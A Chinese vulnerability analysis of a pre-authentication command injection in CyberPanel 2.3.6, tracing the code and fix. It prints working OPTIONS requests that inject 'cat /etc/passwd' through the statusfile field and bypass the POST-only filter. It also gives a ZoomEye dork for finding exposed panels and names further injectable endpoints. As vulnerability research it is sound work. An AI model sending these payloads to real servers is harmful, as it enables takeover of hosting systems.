0x01 组件介绍 项目地址:https://github.com/usmannasir/cyberpanel/tree/stable
CyberPanel 是一个基于 OpenLiteSpeed 和 LiteSpeed Enterprise Web 服务器的开源 Web 托管控制面板。
1 ZoomEye Dork:app:"Cyberpanel"
截止编写时已有 188,810 条搜索结果,遍布世界各国。
已有大量用户被勒索。
https://github.com/usmannasir/cyberpanel/issues/1346
0x02 环境搭建 官网地址:https://cyberpanel.net/
CyberPanel 可以直接在官网下载对应安装程序,但最好使用一个纯净的机器安装,由于 CyberPanel 对操作系统有限制,建议使用 Ubuntu(不建议使用 Docker)。安装过程中会涉及系统操作,因此需要使用 root 权限运行。
1 2 3 4 5 6 7 8 sudo su - apt update && apt upgrade -y apt install curl wget sh <(curl https://cyberpanel.net/install.sh || wget -O - https://cyberpanel.net/install.sh)
选择 [1] 开源版本安装,默认账号 admin、密码 1234567。可以使用以下命令重置。
输入需要安装的版本,这里选择存在漏洞的 2.3.6 版本,后续就是等待安装。
安装完成后出现以下界面表示安装成功。
访问后台也没问题。
0x03 漏洞分析 CyberPanel 是一个基于 Django 框架的项目,使用的是 MVT(Model - View - Template)架构模式,Model 控制数据、View 控制视图函数、Template控制模板。
漏洞触发点是 /dataBases/upgrademysqlstatus
,通过视图就可以找到对应的函数。
1 2 3 4 5 6 OPTIONS /dataBases/upgrademysqlstatus HTTP/1.1 X-CSRFToken : {{csrf_token}}Content-Type : application/jsonReferer : {{BaseURL}}{ "statusfile" : "/dev/null; cat /etc/passwd; #" , "csrftoken" : "{{csrf_token}}" }
/databases/view.py
如果仔细观察该视图函数,会发现其他视图函数均通过 request.session
从 Django 的会话中获取了用户的身份并校验。
1 2 userID = request.session['userID' ] currentACL = ACLManager.loadedACL(userID)
而 upgrademysqlstatus
视图函数源于 2024年2月7日的 MySQL 功能优化 commit 中,由于是新增功能,忽略了鉴权。
查看 upgrademysqlstatus
可以发现存在一个 "sudo cat " + statusfile
的命令拼接,并且,所传递的变量 statusfile
是从用户所发起请求的 Json 数据里的 statusfile
字段中获取的,说明用户对该变量完全可控。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 def upgrademysqlstatus (request ): try : data = json.loads(request.body) statusfile = data['statusfile' ] installStatus = ProcessUtilities.outputExecutioner("sudo cat " + statusfile) if installStatus.find("[200]" ) > -1 : command = 'sudo rm -f ' + statusfile ProcessUtilities.executioner(command) final_json = json.dumps({ 'error_message' : "None" , 'requestStatus' : installStatus, 'abort' : 1 , 'installed' : 1 , }) return HttpResponse(final_json) elif installStatus.find("[404]" ) > -1 : command = 'sudo rm -f ' + statusfile ProcessUtilities.executioner(command) final_json = json.dumps({ 'abort' : 1 , 'installed' : 0 , 'error_message' : "None" , 'requestStatus' : installStatus, }) return HttpResponse(final_json) else : final_json = json.dumps({ 'abort' : 0 , 'error_message' : "None" , 'requestStatus' : installStatus, }) return HttpResponse(final_json) except KeyError: return redirect(loadLoginPage)
将拼接的命令传入 ProcessUtilities.outputExecutioner
函数,并返回 installStatus
变量,由后续判断可知,installStatus
会返回包含 [200]
、[404]
这样的状态信息,虽然无法确定是否有回显,但可以肯定会执行命令。
跟进至 ProcessUtilities.outputExecutioner
函数。
/plogical/processUtilities.py
函数首先通过 getpass.getuser()
获取当前用户登录名。如果为 root 且由于只传入了一个参数,便会执行 subprocess.Popen
并返回 p.communicate()[0].decode("utf-8")
,即命令执行返回的结果。如果不为 root,则会返回 ProcessUtilities.sendCommand(command, user, dir)[:-1]
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 @staticmethod def outputExecutioner (command, user=None , shell=None , dir =None , retRequired=None ): try : if os.path.exists('/usr/local/CyberCP/debug' ): logging.writeToFile(command) if getpass.getuser() == 'root' : if os.path.exists(ProcessUtilities.debugPath): logging.writeToFile(command) if user!=None : if not command.startswith('sudo' ): command = f'sudo -u {user} {command} ' if shell == None or shell == True : p = subprocess.Popen(command, shell=True , stdout=subprocess.PIPE, stderr=subprocess.STDOUT) else : p = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.STDOUT) if retRequired: return 1 , p.communicate()[0 ].decode("utf-8" ) else : return p.communicate()[0 ].decode("utf-8" ) if type (command) == list : command = " " .join(command) if retRequired: ret = ProcessUtilities.sendCommand(command, user) exitCode = ret[len (ret) - 1 ] exitCode = int (codecs.encode(exitCode.encode(), 'hex' )) if exitCode == 0 : return 1 , ret[:-1 ] else : return 0 , ret[:-1 ] else : return ProcessUtilities.sendCommand(command, user, dir )[:-1 ] except BaseException as msg: logging.writeToFile(str (msg) + "[outputExecutioner:188]" )
查看 sendCommand
函数。
/plogical/processUtilities.py
首先通过 ProcessUtilities.setupUDSConnection
创建一个 UDS 连接,输入的命令会通过 sock.sendall(command.encode('utf-8'))
将格式化的命令通过 UDS 发送到目标进程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 @staticmethod def sendCommand (command, user=None , dir =None ): try : ret = ProcessUtilities.setupUDSConnection() if ret[0 ] == -1 : return ret[0 ] if ProcessUtilities.token == "unset" : ProcessUtilities.token = os.environ.get('TOKEN' ) del os.environ['TOKEN' ] sock = ret[0 ] if user == None : if command.find('export' ) > -1 : pass elif command.find('sudo' ) == -1 : command = 'sudo %s' % (command) if os.path.exists(ProcessUtilities.debugPath): if command.find('cat' ) == -1 : logging.writeToFile(ProcessUtilities.token + command) if dir == None : sock.sendall((ProcessUtilities.token + command).encode('utf-8' )) else : command = '%s-d %s %s' % (ProcessUtilities.token, dir , command) sock.sendall(command.encode('utf-8' )) else : if command.startswith('sudo' ): command = command.replace('sudo' , '' , 1 ) if dir == None : command = '%s-u %s %s' % (ProcessUtilities.token, user, command) else : command = '%s-u %s -d %s %s' % (ProcessUtilities.token, user, dir , command) if os.path.exists(ProcessUtilities.debugPath): if command.find('cat' ) == -1 : logging.writeToFile(command) sock.sendall(command.encode('utf-8' )) data = "" while (1 ): currentData = sock.recv(32 ) if len (currentData) == 0 or currentData == None : break try : data = data + currentData.decode(errors = 'ignore' ) except BaseException as msg: logging.writeToFile('Some data could not be decoded to str, error message: %s' % str (msg)) sock.close() return data except BaseException as msg: logging.writeToFile(str (msg) + " [hey:sendCommand]" ) return "0" + str (msg)
因此目前看来,只要通过 /dataBases/upgrademysqlstatus
路由并传入恶意的 Json 就可以成功执行命令,由于执行命令的返回结果并不会包含 [200]
和 [404]
标识符,因此会在响应体的 requestStatus
字段中看到命令执行的回显结果。
1 { 'abort': 0 , 'error_message': "None" , 'requestStatus': installStatus, }
因此可以使用命令注入的方式截断,尝试读取 /etc/passwd
文件,由于页面强行验证 CSRFToken
和 Referer
,所以可以先请求一次获取 CSRFToken
。
请求如下
1 2 3 4 5 6 7 POST /dataBases/upgrademysqlstatus HTTP/1.1 Host : 127.0.0.1:8090Content-Type : application/jsonX-CSRFToken : vSBckL7UPg8TED3jxfAmhRqkLRQk4bsPReferer : https://127.0.0.1:8090/{ "statusfile" : "/dev/null; cat /etc/passwd; #" , "csrftoken" : "vSBckL7UPg8TED3jxfAmhRqkLRQk4bsP" }
可以发现,在命令执行的过程中被拦截了,由提示信息以下字符被过滤了,应该是存在一层过滤机制来阻止恶意字符。全局搜索 Data supplied is not accepted
关键词,找到对应文件继续跟进。
/CyberCP/secMiddleware.py
secMiddleware.py
为 CyberPanel 的安全中间件,会进行多种安全验证,其中也包括对敏感符号的过滤,若在 POST 请求的 Json 里发现了以下字符则会过滤并返回错误。
1 ` $ & ( ) [ ] { } ; : ‘ < >`
此处的字符校验非常严格,但只有请求类型为 POST 的时候才会做字符检查。
1 if request.method == 'POST' :
查看最开始的 upgrademysqlstatus
函数,是通过 request.body
来获取 Json 数据的。
1 2 3 4 5 6 7 8 def upgrademysqlstatus (request ): try : data = json.loads(request.body) statusfile = data['statusfile' ] installStatus = ProcessUtilities.outputExecutioner("sudo cat " + statusfile) ... except KeyError: return redirect(loadLoginPage)
因此只要在不使用 POST 的 Method 的情况下,将 Json 数据传入就可以绕过检查。
编写一个简单的案例来还原这个场景:当访问 http://127.0.0.1:8000/admin
的时候会调用 test
视图函数,如果 Method 是 POST,则进入 check
函数检查恶意字符,若未检测出返回 request.body
,否则不检查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from django.http import HttpResponseimport jsondef check (request ): data = json.loads(request.body.decode('utf-8' )) if ';' in json.dumps(data): return False return True def test (request ): if request.method == 'POST' : if check(request): json.loads(request.body.decode('utf-8' )) return HttpResponse(f"Successful:{request.body} " ) else : return HttpResponse("Malicious characters exist" ) else : return HttpResponse(f"Successful:{request.body} " )
输入恶意 Payload 则会被检测出。
1 2 3 4 5 POST /admin HTTP/1.1 Content-Type : application/jsonHost : 127.0.0.1:8000{"statusfile" : "/dev/null ; cat /etc/passwd; #"}
但不使用 POST 方式,request.body
仍然可以被获取。
1 2 3 4 5 OPTIONS /admin HTTP/1.1 Content-Type : application/jsonHost : 127.0.0.1:8000{"statusfile" : "/dev/null ; cat /etc/passwd; #"}
因此可以得出,request.body
并不受 Method 的限制,upgrademysqlstatus
中使用非 POST 的方式,其 statusfile
仍然可以被获取,且不会经过恶意字符检测。成功绕过了限制。
django/http/request.py
Django 的源码中也可以看出无论请求类型是什么,都会发送原始的 HTTP 请求体。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 @property def body (self ): if not hasattr (self, "_body" ): if self._read_started: raise RawPostDataException( "You cannot access body after reading from request's data stream" ) if ( settings.DATA_UPLOAD_MAX_MEMORY_SIZE is not None and int (self.META.get("CONTENT_LENGTH" ) or 0 ) > settings.DATA_UPLOAD_MAX_MEMORY_SIZE ): raise RequestDataTooBig( "Request body exceeded settings.DATA_UPLOAD_MAX_MEMORY_SIZE." ) try : self._body = self.read() except OSError as e: raise UnreadablePostError(*e.args) from e finally : self._stream.close() self._stream = BytesIO(self._body) return self._body
更换 Method 为 OPTIONS,即可成功执行命令。
1 2 3 4 5 6 7 OPTIONS /dataBases/upgrademysqlstatus HTTP/1.1 Host : 127.0.0.1:8090Content-Type : application/jsonX-CSRFToken : iZDld8kfnDQBLnPaNbrdB7Tyj0W1o6X6Referer : https://127.0.0.1:8090/{ "statusfile" : "/dev/null; cat /etc/passwd; #" , "csrftoken" : "iZDld8kfnDQBLnPaNbrdB7Tyj0W1o6X6" }
该漏洞产生的本质原因是鉴权不到位和安全中间件检查的遗漏,忽略了 Django 中 request.body
是直接获取原始的 HTTP 请求体,而不受 Method 的限制,同样可以被成功传入路由函数,
同样逻辑的功能点肯定也不止一处,这对于还未升级,但屏蔽了相关路径的用户格外有用。
例如这个在 /ftp/views.py 中的 getresetstatus
函数,几乎是同样的逻辑。
同样可以执行命令,除此之外还有 /dns/getresetstatus
也有相关功能。
1 2 3 4 5 6 7 OPTIONS /ftp/getresetstatus HTTP/1.1 Host : 127.0.0.1:8090Content-Type : application/jsonX-CSRFToken : iZDld8kfnDQBLnPaNbrdB7Tyj0W1o6X6Referer : https://127.0.0.1:8090/{ "statusfile" : "/dev/null; cat /etc/passwd; #" , "csrftoken" : "iZDld8kfnDQBLnPaNbrdB7Tyj0W1o6X6" }
0x04 漏洞修复 漏洞修复非常的简单粗暴,对相关接口添加了鉴权处理,只有管理员才有权限访问。
https://github.com/usmannasir/cyberpanel/commit/5b08cd6d53f4dbc2107ad9f555122ce8b0996515
https://github.com/usmannasir/cyberpanel/commit/1c0c6cbcf71abe573da0b5fddfb9603e7477f683
不过这相当于从一个前台漏洞变成了一个后台漏洞?也可能只是临时措施。
0x05 参考链接